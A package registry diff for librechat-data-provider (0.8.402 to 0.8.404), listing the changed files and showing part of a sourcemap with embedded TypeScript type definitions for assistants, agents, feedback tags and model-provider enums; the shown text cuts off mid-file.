librechat-data-provider 0.8.402 → 0.8.404

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (109) hide show
  1. package/dist/index.es.js +1 -1
  2. package/dist/index.es.js.map +1 -1
  3. package/dist/index.js +1 -1
  4. package/dist/index.js.map +1 -1
  5. package/dist/react-query/index.es.js +1 -1
  6. package/dist/react-query/index.es.js.map +1 -1
  7. package/dist/types/accessPermissions.d.ts +744 -0
  8. package/dist/types/actions.d.ts +118 -0
  9. package/dist/types/api-endpoints.d.ts +150 -0
  10. package/dist/types/artifacts.d.ts +97 -0
  11. package/dist/types/azure.d.ts +22 -0
  12. package/dist/types/bedrock.d.ts +1220 -0
  13. package/dist/types/config.d.ts +14849 -0
  14. package/dist/types/config.spec.d.ts +1 -0
  15. package/dist/types/createPayload.d.ts +5 -0
  16. package/dist/types/data-service.d.ts +287 -0
  17. package/dist/types/feedback.d.ts +36 -0
  18. package/dist/types/file-config.d.ts +263 -0
  19. package/dist/types/file-config.spec.d.ts +1 -0
  20. package/dist/types/generate.d.ts +597 -0
  21. package/dist/types/headers-helpers.d.ts +2 -0
  22. package/{src/index.ts → dist/types/index.d.ts} +0 -15
  23. package/dist/types/keys.d.ts +92 -0
  24. package/dist/types/mcp.d.ts +2760 -0
  25. package/dist/types/messages.d.ts +10 -0
  26. package/dist/types/models.d.ts +1547 -0
  27. package/dist/types/parameterSettings.d.ts +69 -0
  28. package/dist/types/parsers.d.ts +110 -0
  29. package/dist/types/permissions.d.ts +522 -0
  30. package/dist/types/react-query/react-query-service.d.ts +85 -0
  31. package/dist/types/request.d.ts +25 -0
  32. package/dist/types/roles.d.ts +554 -0
  33. package/dist/types/roles.spec.d.ts +1 -0
  34. package/dist/types/schemas.d.ts +5110 -0
  35. package/dist/types/schemas.spec.d.ts +1 -0
  36. package/dist/types/types/agents.d.ts +433 -0
  37. package/dist/types/types/assistants.d.ts +547 -0
  38. package/dist/types/types/files.d.ts +172 -0
  39. package/dist/types/types/graph.d.ts +135 -0
  40. package/{src/types/mcpServers.ts → dist/types/types/mcpServers.d.ts} +12 -18
  41. package/dist/types/types/mutations.d.ts +209 -0
  42. package/dist/types/types/queries.d.ts +169 -0
  43. package/dist/types/types/runs.d.ts +36 -0
  44. package/dist/types/types/web.d.ts +520 -0
  45. package/dist/types/types.d.ts +503 -0
  46. package/dist/types/utils.d.ts +12 -0
  47. package/package.json +5 -1
  48. package/babel.config.js +0 -4
  49. package/check_updates.sh +0 -52
  50. package/jest.config.js +0 -19
  51. package/react-query/package-lock.json +0 -292
  52. package/react-query/package.json +0 -10
  53. package/rollup.config.js +0 -74
  54. package/server-rollup.config.js +0 -40
  55. package/specs/actions.spec.ts +0 -2533
  56. package/specs/api-endpoints-subdir.spec.ts +0 -140
  57. package/specs/api-endpoints.spec.ts +0 -74
  58. package/specs/azure.spec.ts +0 -844
  59. package/specs/bedrock.spec.ts +0 -862
  60. package/specs/filetypes.spec.ts +0 -175
  61. package/specs/generate.spec.ts +0 -770
  62. package/specs/headers-helpers.spec.ts +0 -24
  63. package/specs/mcp.spec.ts +0 -147
  64. package/specs/openapiSpecs.ts +0 -524
  65. package/specs/parsers.spec.ts +0 -601
  66. package/specs/request-interceptor.spec.ts +0 -304
  67. package/specs/utils.spec.ts +0 -196
  68. package/src/accessPermissions.ts +0 -346
  69. package/src/actions.ts +0 -813
  70. package/src/api-endpoints.ts +0 -440
  71. package/src/artifacts.ts +0 -3104
  72. package/src/azure.ts +0 -328
  73. package/src/bedrock.ts +0 -425
  74. package/src/config.spec.ts +0 -315
  75. package/src/config.ts +0 -2006
  76. package/src/createPayload.ts +0 -46
  77. package/src/data-service.ts +0 -1087
  78. package/src/feedback.ts +0 -141
  79. package/src/file-config.spec.ts +0 -1248
  80. package/src/file-config.ts +0 -764
  81. package/src/generate.ts +0 -634
  82. package/src/headers-helpers.ts +0 -13
  83. package/src/keys.ts +0 -99
  84. package/src/mcp.ts +0 -271
  85. package/src/messages.ts +0 -50
  86. package/src/models.ts +0 -69
  87. package/src/parameterSettings.ts +0 -1111
  88. package/src/parsers.ts +0 -563
  89. package/src/permissions.ts +0 -188
  90. package/src/react-query/react-query-service.ts +0 -566
  91. package/src/request.ts +0 -171
  92. package/src/roles.spec.ts +0 -132
  93. package/src/roles.ts +0 -225
  94. package/src/schemas.spec.ts +0 -355
  95. package/src/schemas.ts +0 -1234
  96. package/src/types/agents.ts +0 -470
  97. package/src/types/assistants.ts +0 -654
  98. package/src/types/files.ts +0 -191
  99. package/src/types/graph.ts +0 -145
  100. package/src/types/mutations.ts +0 -422
  101. package/src/types/queries.ts +0 -208
  102. package/src/types/runs.ts +0 -40
  103. package/src/types/web.ts +0 -588
  104. package/src/types.ts +0 -676
  105. package/src/utils.ts +0 -85
  106. package/tsconfig.json +0 -28
  107. package/tsconfig.spec.json +0 -10
  108. /package/{src/react-query/index.ts → dist/types/react-query/index.d.ts} +0 -0
  109. /package/{src/types/index.ts → dist/types/types/index.d.ts} +0 -0
@@ -1 +1 @@
1
- {"version":3,"file":"index.es.js","sources":["../../src/types/assistants.ts","../../src/feedback.ts","../../src/schemas.ts","../../src/models.ts","../../src/utils.ts","../../src/file-config.ts","../../src/api-endpoints.ts","../../src/types/files.ts","../../src/types/agents.ts","../../src/mcp.ts","../../src/config.ts","../../src/request.ts","../../src/headers-helpers.ts","../../src/data-service.ts","../../src/keys.ts","../../src/accessPermissions.ts","../../src/react-query/react-query-service.ts"],"sourcesContent":["import type { OpenAPIV3 } from 'openapi-types';\nimport type { AssistantsEndpoint, AgentProvider } from 'src/schemas';\nimport type { Agents, GraphEdge } from './agents';\nimport type { ContentTypes } from './runs';\nimport type { TFile } from './files';\nimport { ArtifactModes } from 'src/artifacts';\n\nexport type Schema = OpenAPIV3.SchemaObject & { description?: string };\nexport type Reference = OpenAPIV3.ReferenceObject & { description?: string };\n\nexport type Metadata = {\n avatar?: string;\n author?: string;\n} & {\n [key: string]: unknown;\n};\n\nexport enum Tools {\n execute_code = 'execute_code',\n code_interpreter = 'code_interpreter',\n file_search = 'file_search',\n web_search = 'web_search',\n retrieval = 'retrieval',\n function = 'function',\n memory = 'memory',\n ui_resources = 'ui_resources',\n}\n\nexport enum EToolResources {\n code_interpreter = 'code_interpreter',\n execute_code = 'execute_code',\n file_search = 'file_search',\n image_edit = 'image_edit',\n context = 'context',\n ocr = 'ocr',\n}\n\nexport type Tool = {\n [type: string]: Tools;\n};\n\nexport type FunctionTool = {\n type: Tools;\n function?: {\n description: string;\n name: string;\n parameters: Record<string, unknown>;\n strict?: boolean;\n additionalProperties?: boolean; // must be false if strict is true https://platform.openai.com/docs/guides/structured-outputs/some-type-specific-keywords-are-not-yet-supported\n };\n};\n\n/**\n * A set of resources that are used by the assistant's tools. The resources are\n * specific to the type of tool. For example, the `code_interpreter` tool requires\n * a list of file IDs, while the `file_search` tool requires a list of vector store\n * IDs.\n */\nexport interface ToolResources {\n code_interpreter?: CodeInterpreterResource;\n file_search?: FileSearchResource;\n}\nexport interface CodeInterpreterResource {\n /**\n * A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made\n * available to the `code_interpreter`` tool. There can be a maximum of 20 files\n * associated with the tool.\n */\n file_ids?: Array<string>;\n}\n\nexport interface FileSearchResource {\n /**\n * The ID of the\n * [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)\n * attached to this assistant. There can be a maximum of 1 vector store attached to\n * the assistant.\n */\n vector_store_ids?: Array<string>;\n}\n\n/* Assistant types */\n\nexport type Assistant = {\n id: string;\n created_at: number;\n description: string | null;\n file_ids?: string[];\n instructions: string | null;\n conversation_starters?: string[];\n metadata: Metadata | null;\n model: string;\n name: string | null;\n object: string;\n tools?: FunctionTool[];\n tool_resources?: ToolResources;\n};\n\nexport type TAssistantsMap = Record<AssistantsEndpoint, Record<string, Assistant>>;\n\nexport type AssistantCreateParams = {\n model: string;\n description?: string | null;\n file_ids?: string[];\n instructions?: string | null;\n conversation_starters?: string[];\n metadata?: Metadata | null;\n name?: string | null;\n tools?: Array<FunctionTool | string>;\n endpoint: AssistantsEndpoint;\n version: number | string;\n append_current_datetime?: boolean;\n};\n\nexport type AssistantUpdateParams = {\n model?: string;\n description?: string | null;\n file_ids?: string[];\n instructions?: string | null;\n conversation_starters?: string[] | null;\n metadata?: Metadata | null;\n name?: string | null;\n tools?: Array<FunctionTool | string>;\n tool_resources?: ToolResources;\n endpoint: AssistantsEndpoint;\n append_current_datetime?: boolean;\n};\n\nexport type AssistantListParams = {\n limit?: number;\n before?: string | null;\n after?: string | null;\n order?: 'asc' | 'desc';\n endpoint: AssistantsEndpoint;\n};\n\nexport type AssistantListResponse = {\n object: string;\n data: Assistant[];\n first_id: string;\n last_id: string;\n has_more: boolean;\n};\n\nexport type File = {\n file_id: string;\n id?: string;\n temp_file_id?: string;\n bytes: number;\n created_at: number;\n filename: string;\n object: string;\n purpose: 'fine-tune' | 'fine-tune-results' | 'assistants' | 'assistants_output';\n};\n\n/* Agent types */\n\nexport type AgentParameterValue = number | string | null;\n\nexport type AgentModelParameters = {\n model?: string;\n temperature: AgentParameterValue;\n maxContextTokens: AgentParameterValue;\n max_context_tokens: AgentParameterValue;\n max_output_tokens: AgentParameterValue;\n top_p: AgentParameterValue;\n frequency_penalty: AgentParameterValue;\n presence_penalty: AgentParameterValue;\n useResponsesApi?: boolean;\n};\n\nexport interface AgentBaseResource {\n /**\n * A list of file IDs made available to the tool.\n */\n file_ids?: Array<string>;\n /**\n * A list of files already fetched.\n */\n files?: Array<TFile>;\n}\n\nexport interface AgentToolResources {\n [EToolResources.image_edit]?: AgentBaseResource;\n [EToolResources.execute_code]?: ExecuteCodeResource;\n [EToolResources.file_search]?: AgentFileResource;\n [EToolResources.context]?: AgentBaseResource;\n /** @deprecated Use context instead */\n [EToolResources.ocr]?: AgentBaseResource;\n}\n/**\n * A resource for the execute_code tool.\n * Contains file IDs made available to the tool (max 20 files) and already fetched files.\n */\nexport type ExecuteCodeResource = AgentBaseResource;\n\nexport interface AgentFileResource extends AgentBaseResource {\n /**\n * The ID of the vector store attached to this agent. There\n * can be a maximum of 1 vector store attached to the agent.\n */\n vector_store_ids?: Array<string>;\n}\nexport type SupportContact = {\n name?: string;\n email?: string;\n};\n\n/**\n * Specifies who can invoke a tool.\n * - 'direct': LLM can call directly\n * - 'code_execution': Only callable via programmatic tool calling (PTC)\n */\nexport type AllowedCaller = 'direct' | 'code_execution';\n\n/**\n * Per-tool configuration options stored at the agent level.\n * Keyed by tool_id (e.g., \"search_mcp_github\").\n */\nexport type ToolOptions = {\n /**\n * If true, the tool uses deferred loading (discoverable via tool search).\n * @default false\n */\n defer_loading?: boolean;\n /**\n * Specifies who can invoke this tool.\n * - 'direct': LLM can call directly (default behavior)\n * - 'code_execution': Only callable via PTC sandbox\n * @default ['direct']\n */\n allowed_callers?: AllowedCaller[];\n};\n\n/**\n * Map of tool_id to its configuration options.\n * Used to customize tool behavior per agent.\n */\nexport type AgentToolOptions = Record<string, ToolOptions>;\n\nexport type Agent = {\n _id?: string;\n id: string;\n name: string | null;\n author?: string | null;\n /** The original custom endpoint name, lowercased */\n endpoint?: string | null;\n authorName?: string | null;\n description: string | null;\n created_at: number;\n avatar: AgentAvatar | null;\n instructions?: string | null;\n additional_instructions?: string | null;\n tools?: string[];\n tool_kwargs?: Record<string, unknown>;\n metadata?: Record<string, unknown>;\n provider: AgentProvider;\n model: string | null;\n model_parameters: AgentModelParameters;\n conversation_starters?: string[];\n tool_resources?: AgentToolResources;\n /** @deprecated Use edges instead */\n agent_ids?: string[];\n edges?: GraphEdge[];\n end_after_tools?: boolean;\n hide_sequential_outputs?: boolean;\n artifacts?: ArtifactModes;\n recursion_limit?: number;\n isPublic?: boolean;\n version?: number;\n category?: string;\n support_contact?: SupportContact;\n /** Per-tool configuration options (deferred loading, allowed callers, etc.) */\n tool_options?: AgentToolOptions;\n};\n\nexport type TAgentsMap = Record<string, Agent | undefined>;\n\nexport type AgentCreateParams = {\n name?: string | null;\n description?: string | null;\n avatar?: AgentAvatar | null;\n file_ids?: string[];\n instructions?: string | null;\n tools?: Array<FunctionTool | string>;\n provider: AgentProvider;\n model: string | null;\n model_parameters: AgentModelParameters;\n} & Pick<\n Agent,\n | 'agent_ids'\n | 'edges'\n | 'end_after_tools'\n | 'hide_sequential_outputs'\n | 'artifacts'\n | 'recursion_limit'\n | 'category'\n | 'support_contact'\n | 'tool_options'\n>;\n\nexport type AgentUpdateParams = {\n name?: string | null;\n description?: string | null;\n avatar?: AgentAvatar | null;\n file_ids?: string[];\n instructions?: string | null;\n tools?: Array<FunctionTool | string>;\n tool_resources?: ToolResources;\n provider?: AgentProvider;\n model?: string | null;\n model_parameters?: AgentModelParameters;\n} & Pick<\n Agent,\n | 'agent_ids'\n | 'edges'\n | 'end_after_tools'\n | 'hide_sequential_outputs'\n | 'artifacts'\n | 'recursion_limit'\n | 'category'\n | 'support_contact'\n | 'tool_options'\n>;\n\nexport type AgentListParams = {\n limit?: number;\n requiredPermission: number;\n category?: string;\n search?: string;\n cursor?: string;\n promoted?: 0 | 1;\n};\n\nexport type AgentListResponse = {\n object: string;\n data: Agent[];\n first_id: string;\n last_id: string;\n has_more: boolean;\n after?: string;\n};\n\nexport type AgentFile = {\n file_id: string;\n id?: string;\n temp_file_id?: string;\n bytes: number;\n created_at: number;\n filename: string;\n object: string;\n purpose: 'fine-tune' | 'fine-tune-results' | 'agents' | 'agents_output';\n};\n\n/**\n * Details of the Code Interpreter tool call the run step was involved in.\n * Includes the tool call ID, the code interpreter definition, and the type of tool call.\n */\nexport type CodeToolCall = {\n id: string; // The ID of the tool call.\n code_interpreter: {\n input: string; // The input to the Code Interpreter tool call.\n outputs: Array<Record<string, unknown>>; // The outputs from the Code Interpreter tool call.\n };\n type: 'code_interpreter'; // The type of tool call, always 'code_interpreter'.\n};\n\n/**\n * Details of a Function tool call the run step was involved in.\n * Includes the tool call ID, the function definition, and the type of tool call.\n */\nexport type FunctionToolCall = {\n id: string; // The ID of the tool call object.\n function: {\n arguments: string; // The arguments passed to the function.\n name: string; // The name of the function.\n output: string | null; // The output of the function, null if not submitted.\n };\n type: 'function'; // The type of tool call, always 'function'.\n};\n\n/**\n * Details of a Retrieval tool call the run step was involved in.\n * Includes the tool call ID and the type of tool call.\n */\nexport type RetrievalToolCall = {\n id: string; // The ID of the tool call object.\n retrieval: unknown; // An empty object for now.\n type: 'retrieval'; // The type of tool call, always 'retrieval'.\n};\n\n/**\n * Details of a Retrieval tool call the run step was involved in.\n * Includes the tool call ID and the type of tool call.\n */\nexport type FileSearchToolCall = {\n id: string; // The ID of the tool call object.\n file_search: unknown; // An empty object for now.\n type: 'file_search'; // The type of tool call, always 'retrieval'.\n};\n\n/**\n * Details of the tool calls involved in a run step.\n * Can be associated with one of three types of tools: `code_interpreter`, `retrieval`, or `function`.\n */\nexport type ToolCallsStepDetails = {\n tool_calls: Array<CodeToolCall | RetrievalToolCall | FileSearchToolCall | FunctionToolCall>; // An array of tool calls the run step was involved in.\n type: 'tool_calls'; // Always 'tool_calls'.\n};\n\nexport type ImageFile = TFile & {\n /**\n * The [File](https://platform.openai.com/docs/api-reference/files) ID of the image\n * in the message content.\n */\n file_id: string;\n filename: string;\n filepath: string;\n height: number;\n width: number;\n /**\n * Prompt used to generate the image if applicable.\n */\n prompt?: string;\n /**\n * Additional metadata used to generate or about the image/tool_call.\n */\n metadata?: Record<string, unknown>;\n};\n\n// FileCitation.ts\nexport type FileCitation = {\n end_index: number;\n file_citation: FileCitationDetails;\n start_index: number;\n text: string;\n type: 'file_citation';\n};\n\nexport type FileCitationDetails = {\n file_id: string;\n quote: string;\n};\n\nexport type FilePath = {\n end_index: number;\n file_path: FilePathDetails;\n start_index: number;\n text: string;\n type: 'file_path';\n};\n\nexport type FilePathDetails = {\n file_id: string;\n};\n\nexport type Text = {\n annotations?: Array<FileCitation | FilePath>;\n value: string;\n};\n\nexport enum AnnotationTypes {\n FILE_CITATION = 'file_citation',\n FILE_PATH = 'file_path',\n}\n\nexport enum StepStatus {\n IN_PROGRESS = 'in_progress',\n CANCELLED = 'cancelled',\n FAILED = 'failed',\n COMPLETED = 'completed',\n EXPIRED = 'expired',\n}\n\nexport enum MessageContentTypes {\n TEXT = 'text',\n IMAGE_FILE = 'image_file',\n}\n\n//enum for RunStatus\n// The status of the run: queued, in_progress, requires_action, cancelling, cancelled, failed, completed, or expired.\nexport enum RunStatus {\n QUEUED = 'queued',\n IN_PROGRESS = 'in_progress',\n REQUIRES_ACTION = 'requires_action',\n CANCELLING = 'cancelling',\n CANCELLED = 'cancelled',\n FAILED = 'failed',\n COMPLETED = 'completed',\n EXPIRED = 'expired',\n}\n\nexport type PartMetadata = {\n progress?: number;\n asset_pointer?: string;\n status?: string;\n action?: boolean;\n auth?: string;\n expires_at?: number;\n /** Index indicating parallel sibling content (same stepIndex in multi-agent runs) */\n siblingIndex?: number;\n /** Agent ID for parallel agent rendering - identifies which agent produced this content */\n agentId?: string;\n /** Group ID for parallel content - parts with same groupId are displayed in columns */\n groupId?: number;\n};\n\n/** Metadata for parallel content rendering - subset of PartMetadata */\nexport type ContentMetadata = Pick<PartMetadata, 'agentId' | 'groupId'>;\n\nexport type ContentPart = (\n | CodeToolCall\n | RetrievalToolCall\n | FileSearchToolCall\n | FunctionToolCall\n | Agents.AgentToolCall\n | ImageFile\n | Text\n) &\n PartMetadata;\n\nexport type TextData = (Text & PartMetadata) | undefined;\n\nexport type SummaryContentPart = {\n type: ContentTypes.SUMMARY;\n content?: Array<{ type: ContentTypes.TEXT; text: string }>;\n tokenCount?: number;\n summarizing?: boolean;\n summaryVersion?: number;\n model?: string;\n provider?: string;\n createdAt?: string;\n boundary?: {\n messageId: string;\n contentIndex: number;\n };\n};\n\nexport type TMessageContentParts =\n | ({\n type: ContentTypes.ERROR;\n text?: string | TextData;\n error?: string;\n } & ContentMetadata)\n | ({ type: ContentTypes.THINK; think?: string | TextData } & ContentMetadata)\n | ({\n type: ContentTypes.TEXT;\n text?: string | TextData;\n tool_call_ids?: string[];\n } & ContentMetadata)\n | ({\n type: ContentTypes.TOOL_CALL;\n tool_call: (\n | CodeToolCall\n | RetrievalToolCall\n | FileSearchToolCall\n | FunctionToolCall\n | Agents.AgentToolCall\n ) &\n PartMetadata;\n } & ContentMetadata)\n | ({ type: ContentTypes.IMAGE_FILE; image_file: ImageFile & PartMetadata } & ContentMetadata)\n | (SummaryContentPart & ContentMetadata)\n | (Agents.AgentUpdate & ContentMetadata)\n | (Agents.MessageContentImageUrl & ContentMetadata)\n | (Agents.MessageContentVideoUrl & ContentMetadata)\n | (Agents.MessageContentInputAudio & ContentMetadata);\n\nexport type StreamContentData = TMessageContentParts & {\n /** The index of the current content part */\n index: number;\n /** The current text content was already served but edited to replace elements therein */\n edited?: boolean;\n};\n\nexport type TContentData = StreamContentData & {\n messageId: string;\n conversationId: string;\n userMessageId: string;\n thread_id: string;\n stream?: boolean;\n};\n\nexport const actionDelimiter = '_action_';\nexport const actionDomainSeparator = '---';\nexport const hostImageIdSuffix = '_host_copy';\nexport const hostImageNamePrefix = 'host_copy_';\n\nexport type AssistantAvatar = {\n filepath: string;\n source: string;\n};\n\nexport type AssistantDocument = {\n user: string;\n assistant_id: string;\n conversation_starters?: string[];\n avatar?: AssistantAvatar;\n access_level?: number;\n file_ids?: string[];\n actions?: string[];\n createdAt?: Date;\n updatedAt?: Date;\n append_current_datetime?: boolean;\n};\n\n/* Agent types */\n\nexport type AgentAvatar = {\n filepath: string;\n source: string;\n};\n\nexport enum FilePurpose {\n Vision = 'vision',\n FineTune = 'fine-tune',\n FineTuneResults = 'fine-tune-results',\n Assistants = 'assistants',\n AssistantsOutput = 'assistants_output',\n}\n\nexport const defaultOrderQuery: {\n order: 'desc';\n limit: 100;\n} = {\n order: 'desc',\n limit: 100,\n};\n\nexport enum AssistantStreamEvents {\n ThreadCreated = 'thread.created',\n ThreadRunCreated = 'thread.run.created',\n ThreadRunQueued = 'thread.run.queued',\n ThreadRunInProgress = 'thread.run.in_progress',\n ThreadRunRequiresAction = 'thread.run.requires_action',\n ThreadRunCompleted = 'thread.run.completed',\n ThreadRunFailed = 'thread.run.failed',\n ThreadRunCancelling = 'thread.run.cancelling',\n ThreadRunCancelled = 'thread.run.cancelled',\n ThreadRunExpired = 'thread.run.expired',\n ThreadRunStepCreated = 'thread.run.step.created',\n ThreadRunStepInProgress = 'thread.run.step.in_progress',\n ThreadRunStepCompleted = 'thread.run.step.completed',\n ThreadRunStepFailed = 'thread.run.step.failed',\n ThreadRunStepCancelled = 'thread.run.step.cancelled',\n ThreadRunStepExpired = 'thread.run.step.expired',\n ThreadRunStepDelta = 'thread.run.step.delta',\n ThreadMessageCreated = 'thread.message.created',\n ThreadMessageInProgress = 'thread.message.in_progress',\n ThreadMessageCompleted = 'thread.message.completed',\n ThreadMessageIncomplete = 'thread.message.incomplete',\n ThreadMessageDelta = 'thread.message.delta',\n ErrorEvent = 'error',\n}\n","import { z } from 'zod';\n\nexport type TFeedbackRating = 'thumbsUp' | 'thumbsDown';\nexport const FEEDBACK_RATINGS = ['thumbsUp', 'thumbsDown'] as const;\n\nexport const FEEDBACK_REASON_KEYS = [\n // Down\n 'not_matched',\n 'inaccurate',\n 'bad_style',\n 'missing_image',\n 'unjustified_refusal',\n 'not_helpful',\n 'other',\n // Up\n 'accurate_reliable',\n 'creative_solution',\n 'clear_well_written',\n 'attention_to_detail',\n] as const;\n\nexport type TFeedbackTagKey = (typeof FEEDBACK_REASON_KEYS)[number];\n\nexport interface TFeedbackTag {\n key: TFeedbackTagKey;\n label: string;\n direction: TFeedbackRating;\n icon: string;\n}\n\n// --- Tag Registry ---\nexport const FEEDBACK_TAGS: TFeedbackTag[] = [\n // Thumbs Down\n {\n key: 'not_matched',\n label: 'com_ui_feedback_tag_not_matched',\n direction: 'thumbsDown',\n icon: 'AlertCircle',\n },\n {\n key: 'inaccurate',\n label: 'com_ui_feedback_tag_inaccurate',\n direction: 'thumbsDown',\n icon: 'AlertCircle',\n },\n {\n key: 'bad_style',\n label: 'com_ui_feedback_tag_bad_style',\n direction: 'thumbsDown',\n icon: 'PenTool',\n },\n {\n key: 'missing_image',\n label: 'com_ui_feedback_tag_missing_image',\n direction: 'thumbsDown',\n icon: 'ImageOff',\n },\n {\n key: 'unjustified_refusal',\n label: 'com_ui_feedback_tag_unjustified_refusal',\n direction: 'thumbsDown',\n icon: 'Ban',\n },\n {\n key: 'not_helpful',\n label: 'com_ui_feedback_tag_not_helpful',\n direction: 'thumbsDown',\n icon: 'ThumbsDown',\n },\n {\n key: 'other',\n label: 'com_ui_feedback_tag_other',\n direction: 'thumbsDown',\n icon: 'HelpCircle',\n },\n // Thumbs Up\n {\n key: 'accurate_reliable',\n label: 'com_ui_feedback_tag_accurate_reliable',\n direction: 'thumbsUp',\n icon: 'CheckCircle',\n },\n {\n key: 'creative_solution',\n label: 'com_ui_feedback_tag_creative_solution',\n direction: 'thumbsUp',\n icon: 'Lightbulb',\n },\n {\n key: 'clear_well_written',\n label: 'com_ui_feedback_tag_clear_well_written',\n direction: 'thumbsUp',\n icon: 'PenTool',\n },\n {\n key: 'attention_to_detail',\n label: 'com_ui_feedback_tag_attention_to_detail',\n direction: 'thumbsUp',\n icon: 'Search',\n },\n];\n\nexport function getTagsForRating(rating: TFeedbackRating): TFeedbackTag[] {\n return FEEDBACK_TAGS.filter((tag) => tag.direction === rating);\n}\n\nexport const feedbackTagKeySchema = z.enum(FEEDBACK_REASON_KEYS);\nexport const feedbackRatingSchema = z.enum(FEEDBACK_RATINGS);\n\nexport const feedbackSchema = z.object({\n rating: feedbackRatingSchema,\n tag: feedbackTagKeySchema,\n text: z.string().max(1024).optional(),\n});\n\nexport type TMinimalFeedback = z.infer<typeof feedbackSchema>;\n\nexport type TFeedback = {\n rating: TFeedbackRating;\n tag: TFeedbackTag | undefined;\n text?: string;\n};\n\nexport function toMinimalFeedback(feedback: TFeedback | undefined): TMinimalFeedback | undefined {\n if (!feedback?.rating || !feedback?.tag || !feedback.tag.key) {\n return undefined;\n }\n\n return {\n rating: feedback.rating,\n tag: feedback.tag.key,\n text: feedback.text,\n };\n}\n\nexport function getTagByKey(key: TFeedbackTagKey | undefined): TFeedbackTag | undefined {\n if (!key) {\n return undefined;\n }\n return FEEDBACK_TAGS.find((tag) => tag.key === key);\n}\n","import { z } from 'zod';\nimport { Tools } from './types/assistants';\nimport type { TMessageContentParts, FunctionTool, FunctionToolCall } from './types/assistants';\nimport { TFeedback, feedbackSchema } from './feedback';\nimport type { SearchResultData } from './types/web';\nimport type { TFile } from './types/files';\n\nexport const isUUID = z.string().uuid();\n\nexport enum AuthType {\n OVERRIDE_AUTH = 'override_auth',\n USER_PROVIDED = 'user_provided',\n SYSTEM_DEFINED = 'system_defined',\n}\n\nexport const authTypeSchema = z.nativeEnum(AuthType);\n\nexport enum EModelEndpoint {\n azureOpenAI = 'azureOpenAI',\n openAI = 'openAI',\n google = 'google',\n anthropic = 'anthropic',\n assistants = 'assistants',\n azureAssistants = 'azureAssistants',\n agents = 'agents',\n custom = 'custom',\n bedrock = 'bedrock',\n}\n\n/** Mirrors `@librechat/agents` providers */\nexport enum Providers {\n OPENAI = 'openAI',\n ANTHROPIC = 'anthropic',\n AZURE = 'azureOpenAI',\n GOOGLE = 'google',\n VERTEXAI = 'vertexai',\n BEDROCK = 'bedrock',\n MISTRALAI = 'mistralai',\n MISTRAL = 'mistral',\n DEEPSEEK = 'deepseek',\n MOONSHOT = 'moonshot',\n OPENROUTER = 'openrouter',\n XAI = 'xai',\n}\n\n/**\n * Endpoints that support direct PDF processing in the agent system\n */\nexport const documentSupportedProviders = new Set<string>([\n EModelEndpoint.anthropic,\n EModelEndpoint.openAI,\n EModelEndpoint.bedrock,\n EModelEndpoint.custom,\n // handled in AttachFileMenu and DragDropModal since azureOpenAI only supports documents with Use Responses API set to true\n // EModelEndpoint.azureOpenAI,\n EModelEndpoint.google,\n Providers.VERTEXAI,\n Providers.MISTRALAI,\n Providers.MISTRAL,\n Providers.DEEPSEEK,\n Providers.MOONSHOT,\n Providers.OPENROUTER,\n Providers.XAI,\n]);\n\nconst openAILikeProviders = new Set<string>([\n Providers.OPENAI,\n Providers.AZURE,\n EModelEndpoint.custom,\n Providers.MISTRALAI,\n Providers.MISTRAL,\n Providers.DEEPSEEK,\n Providers.MOONSHOT,\n Providers.OPENROUTER,\n Providers.XAI,\n]);\n\nexport const isOpenAILikeProvider = (provider?: string | null): boolean => {\n return openAILikeProviders.has(provider ?? '');\n};\n\nexport const isDocumentSupportedProvider = (provider?: string | null): boolean => {\n return documentSupportedProviders.has(provider ?? '');\n};\n\nexport const paramEndpoints = new Set<EModelEndpoint | string>([\n EModelEndpoint.agents,\n EModelEndpoint.openAI,\n EModelEndpoint.bedrock,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.anthropic,\n EModelEndpoint.custom,\n EModelEndpoint.google,\n]);\n\nexport enum BedrockProviders {\n AI21 = 'ai21',\n Amazon = 'amazon',\n Anthropic = 'anthropic',\n Cohere = 'cohere',\n DeepSeek = 'deepseek',\n Meta = 'meta',\n MistralAI = 'mistral',\n Moonshot = 'moonshot',\n MoonshotAI = 'moonshotai',\n OpenAI = 'openai',\n StabilityAI = 'stability',\n ZAI = 'zai',\n}\n\nexport const getModelKey = (endpoint: EModelEndpoint | string, model: string) => {\n if (endpoint === EModelEndpoint.bedrock) {\n const parts = model.split('.');\n const provider = [parts[0], parts[1]].find((part) =>\n Object.values(BedrockProviders).includes(part as BedrockProviders),\n );\n return (provider ?? parts[0]) as BedrockProviders;\n }\n return model;\n};\n\nexport const getSettingsKeys = (endpoint: EModelEndpoint | string, model: string) => {\n const endpointKey = endpoint;\n const modelKey = getModelKey(endpointKey, model);\n const combinedKey = `${endpointKey}-${modelKey}`;\n return [combinedKey, endpointKey];\n};\n\nexport type AssistantsEndpoint = EModelEndpoint.assistants | EModelEndpoint.azureAssistants;\n\nexport const isAssistantsEndpoint = (_endpoint?: AssistantsEndpoint | null | string): boolean => {\n const endpoint = _endpoint ?? '';\n if (!endpoint) {\n return false;\n }\n return endpoint.toLowerCase().endsWith(EModelEndpoint.assistants);\n};\n\nexport type AgentProvider = Exclude<keyof typeof EModelEndpoint, EModelEndpoint.agents> | string;\n\nexport const isAgentsEndpoint = (_endpoint?: EModelEndpoint.agents | null | string): boolean => {\n const endpoint = _endpoint ?? '';\n if (!endpoint) {\n return false;\n }\n return endpoint === EModelEndpoint.agents;\n};\n\nexport const isParamEndpoint = (\n endpoint: EModelEndpoint | string,\n endpointType?: EModelEndpoint | string,\n): boolean => {\n if (paramEndpoints.has(endpoint)) {\n return true;\n }\n\n if (endpointType != null) {\n return paramEndpoints.has(endpointType);\n }\n\n return false;\n};\n\nexport enum ImageDetail {\n low = 'low',\n auto = 'auto',\n high = 'high',\n}\n\nexport enum ReasoningEffort {\n unset = '',\n none = 'none',\n minimal = 'minimal',\n low = 'low',\n medium = 'medium',\n high = 'high',\n xhigh = 'xhigh',\n}\n\nexport enum AnthropicEffort {\n unset = '',\n low = 'low',\n medium = 'medium',\n high = 'high',\n max = 'max',\n}\n\nexport enum BedrockReasoningConfig {\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport enum ReasoningSummary {\n none = '',\n auto = 'auto',\n concise = 'concise',\n detailed = 'detailed',\n}\n\nexport enum Verbosity {\n none = '',\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport enum ThinkingLevel {\n unset = '',\n minimal = 'minimal',\n 